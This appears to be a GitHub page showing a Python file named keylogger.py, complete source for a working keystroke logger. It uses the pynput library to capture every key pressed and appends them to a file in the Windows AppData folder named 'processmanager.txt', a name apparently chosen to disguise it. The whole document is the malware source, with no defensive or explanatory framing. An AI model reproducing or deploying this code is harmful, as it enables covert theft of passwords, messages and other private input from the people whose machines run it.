-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
40 lines (32 loc) · 929 Bytes
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
from pynput.keyboard import Listener
keys = []
count = 0
path = os.environ['appdata'] +'\\processmanager.txt'
# path = 'processmanager.txt'
def on_press(key):
global keys, count
keys.append(key)
count += 1
if count >= 1:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open(path, 'a') as f:
for key in keys:
k = str(key).replace("'", "")
if k.find('backspace') > 0:
f.write(' Backspace ')
elif k.find('enter') > 0:
f.write('\n')
elif k.find('shift') > 0:
f.write(' Shift ')
elif k.find('space') > 0:
f.write(' ')
elif k.find('caps_lock') > 0:
f.write(' caps_lock ')
elif k.find('Key'):
f.write(k)
with Listener(on_press=on_press) as listener:
listener.join()